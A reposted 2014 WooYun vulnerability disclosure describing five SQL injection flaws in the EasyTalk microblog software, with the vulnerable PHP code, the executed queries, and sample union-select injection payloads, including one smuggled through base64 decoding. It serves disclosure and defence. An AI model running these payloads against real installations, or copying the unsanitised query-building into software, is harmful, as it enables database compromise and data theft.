网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

[公开漏洞]EasyTalk Sql Injection 1-5

来源:WooYun 浏览:847次 时间:2014-05-10
简介:EasyTalk Sql Injection 1-5 相关厂商: nextsns.com漏洞作者:′ 雨。 提交时间:2014-02-09 10:26 公开时间:2014-05-10 10:27 漏洞类型:SQL注射漏洞危害等级:高 自

EasyTalk Sql Injection 1-5 相关厂商: nextsns.com 漏洞作者:′ 雨。 提交时间:2014-02-09 10:26 公开时间:2014-05-10 10:27 漏洞类型:SQL注射漏洞 危害等级:高 自评Rank:20 漏洞状态: 厂商已经确认 漏洞来源:http://www.wooyun.org Tags标签: 无 漏洞详情 披露状态:

2014-02-09:细节已通知厂商并且等待厂商处理中
2014-02-09:厂商已经确认,细节仅向厂商公开
2014-02-12:细节向第三方安全合作伙伴开放
2014-02-19:细节向核心白帽子及相关领域专家公开
2014-03-01:细节向普通白帽子公开
2014-03-21:细节向实习白帽子公开
2014-05-10:细节向公众公开

简要描述:

过滤不严。

详细说明:

注入1:

在topicaction.class.php中



public function topic() {
$keyword=$this->_get('keyword','urldecode');//无过滤 且解码
if ($keyword) {
$topic = D('Topic')->where("topicname='$keyword'")->find();
if ($topic) {
$isfollow=D('Mytopic')->isfollow($topic['id'],$this->my['user_id']);
$topicusers=D('MytopicView')->where("topicid='$topic[id]'")->order('id desc')->limit(9)->select();
//getwidget
$widget=M('Topicwidget')->where("topicid='$topic[id]'")->order('`order` ASC')->select();
if ($widget) {
foreach ($widget as $val) {
$topicwidget[$val['widgettype']][]=$val;
}
}
$this->assign('topicwidget',$topicwidget);
} else {
$count=$isfollow=0;
}





$topic = D('Topic')->where("topicname='$keyword'")->find();



这里 带入查询。



where topicname='keyword';





SELECT * FROM `et_topic` WHERE topicname='aaa' LIMIT 1



构造一下 aaa' and 1=2 union select 1,2,3,user(),5 %23



完美注入。

FLOG87(6(ZPYF746_WNC14Q.jpg





注入2:



在settingaction.class.php 中



public function doauth() {
$_authmsg=daddslashes($_GET['auth']);
$authmsg=base64_decode($_authmsg);
$tem=explode(":",$authmsg);
$send_id=$tem[0];
$user=M('Users');

$row = $user->field('mailadres,auth_email')->where("user_id='$send_id'")->find();
if ($_authmsg==$row['auth_email']) {
$user->where("user_id='$send_id'")->setField('auth_email',1);
setcookie('setok', json_encode(array('lang'=>L('mail6'),'ico'=>1)),0,'/');
} else {
setcookie('setok', json_encode(array('lang'=>L('mail7'),'ico'=>2)),0,'/');
}
header('location:'.SITE_URL.'/?m=setting&a=mailauth');
}





$_authmsg 虽然用addslashes 进行处理后 但是 后面解码。



所以 无视过滤。

然后切割成数组 数组的第一个 带入查询。

$row = $user->field('mailadres,auth_email')->where("user_id='$send_id'")->find();



where user_id = '$send_id'



完美注入。 无视Gpc

首先编码一下 然后注入

SELECT `mailadres`,`auth_email` FROM `et_users` WHERE user_id='yu' union select user(),2#' LIMIT 1



F2)_R}R{VZDIMRLUG3NUO0U.jpg







完美注入。



注入3:

在messageaction.class.php中。



public function show() {
$uid=$_GET['uid'];

$mes=M('Messages');

$count = $mes->where("(senduid='".$this->my['user_id']."' AND sendtouid='$uid') OR (senduid='$uid' AND sendtouid='".$this->my['user_id']."')")->count();
$p= new Page($count,20);
$page = $p->show('message/show/uid/'.$uid.'/p/',1,'action-for="stream"');
$data = D('MessagesView')->where("(senduid='".$this->my['user_id']."' AND sendtouid='$uid') OR (senduid='$uid' AND sendtouid='".$this->my['user_id']."')")->order("message_id DESC")->limit($p->firstRow.','.$p->listRows)->select();





$uid 无过滤 直接带入了查询。



$count = $mes->where("(senduid='".$this->my['user_id']."' AND sendtouid='$uid') OR (senduid='$uid' AND sendtouid='".$this->my['user_id']."')")->count();



SELECT COUNT(*) AS tp_count FROM `et_messages` WHERE (senduid='2' AND sendtouid='aaaa' AND sendtouid='2') LIMIT 1

执行的sql 构造一下语句。

LW7K~MBNXK3$B[0G2RNQWHX.jpg





有图有真相。

注入4:

在photoaction.class.php中



public function show() {
$cid=$_GET['cid'];

$content=D('ContentView')->where("content_id='$cid' AND FIND_IN_SET('p',filetype)")->find();
if (!$content) {
$this->display('nophoto');
exit;
}

$cModel=M('Content');
$count=$cModel->where("user_id='$content[user_id]' AND FIND_IN_SET('p',filetype)")->count();



$cid 无过滤 且直接带入了



where("content_id='$cid' AND FIND_IN_SET('p',filetype)")->find();



content_id=$cid





SELECT Content.content_id AS content_id,Content.content_body AS content_body,Content.posttime AS posttime,Content.type AS type,Content.filetype AS filetype,Content.retid AS retid,Content.replyid AS replyid,Content.replytimes AS replytimes,Content.zftimes AS zftimes,Content.pinbi AS pinbi,Content.zhiding AS zhiding,Content.praisetimes AS praisetimes,Plugins.name AS appname,Plugins.directory AS directory,Plugins.available AS available,Plugins.type AS apptype,Users.user_id AS user_id,Users.user_name AS user_name,Users.nickname AS nickname,Users.user_head AS user_head,Users.user_auth AS user_auth,Users.provinceid AS provinceid,Users.cityid AS cityid FROM et_content Content ignore index(replyid) LEFT JOIN et_plugins Plugins ON Content.type=Plugins.directory LEFT JOIN et_users Users ON Content.user_id=Users.user_id WHERE content_id='aaa' AND FIND_IN_SET('p',filetype) LIMIT 1



这个是执行的语句 来构造一下语句。

T_T`[DOJ}15T9FRZ`[N@ELP.jpg





注入成功 有图有真相。



注入5:

在appaction.class.php中



public function applist() {
parent::tologin();
import("@.ORG.Page");
C('PAGE_NUMBERS',10);
$pvmodel=D('PluginsView');
$keyword=trim(htmlspecialchars($_REQUEST['keyword']));

if (!$keyword) {
$count=M('Plugins')->where("available=1 AND (type='app' || type='api')")->count();
$p= new Page($count,20);
$page = $p->show("?m=app&a=applist&p=");
$app=$pvmodel->where("available=1 AND (type='app' || type='api')")->order("installs DESC")->limit($p->firstRow.','.$p->listRows)->select();
} else {
$count=$pvmodel->where("name LIKE '%$keyword%' AND available=1 AND (type='app' || type='api')")->count();
$p= new Page($count,20);
$page = $p->show("?m=app&a=applist&keyword=$keyword&p=");
$app=$pvmodel->where("name LIKE '%$keyword%' AND available=1 AND (type='app' || type='api')")->order("installs DESC")->limit($p->firstRow.','.$p->listRows)->select();





$KEYWORD为 request 获取的 然后html实体 但是对注入的影响不大。



如果keyword 为true的话就带入

$count=$pvmodel->where("name LIKE '%$keyword%' AND available=1 AND (type='app' || type='api')")->count();



SELECT COUNT(*) AS tp_count FROM et_plugins Plugins LEFT JOIN et_users Users ON Plugins.appauthor=Users.user_id WHERE name LIKE '%yu%' AND available=1 AND (type='app' || type='api') LIMIT 1



所执行的语句 构造一下

JQAL[HG0E1O}IAW1}TTL0SN.jpg





注入成功 有图有真相

漏洞证明:

修复方案:

过滤呗。

版权声明:转载请注明来源 ′ 雨。@乌云 漏洞回应 厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-09 16:33

厂商回复:

正在修复中

最新状态:

暂无


0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/1117.html

好玩的手游下载

猜你喜欢

推荐站点

  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com
  • 心动网址导航心动网址导航

    心动网址导航精选了国内国外著名的网站、好玩的、好看的、有趣的国内国外网站以及实用的、优秀的国内国外网站,包括国外视频、国外购物、国外交友、国外新闻等多种类型 同时提供精品行业分类目录提交,让用户全方位了解国内国外互联网动态!

    xd00.com
  • 门户网址-优秀网站导航门户网址-优秀网站导航

    门户网址-优秀网站导航,精选网址导航,免费分类目录提交,实用酷站大全。

    top.mhwz.cn

最新优秀网站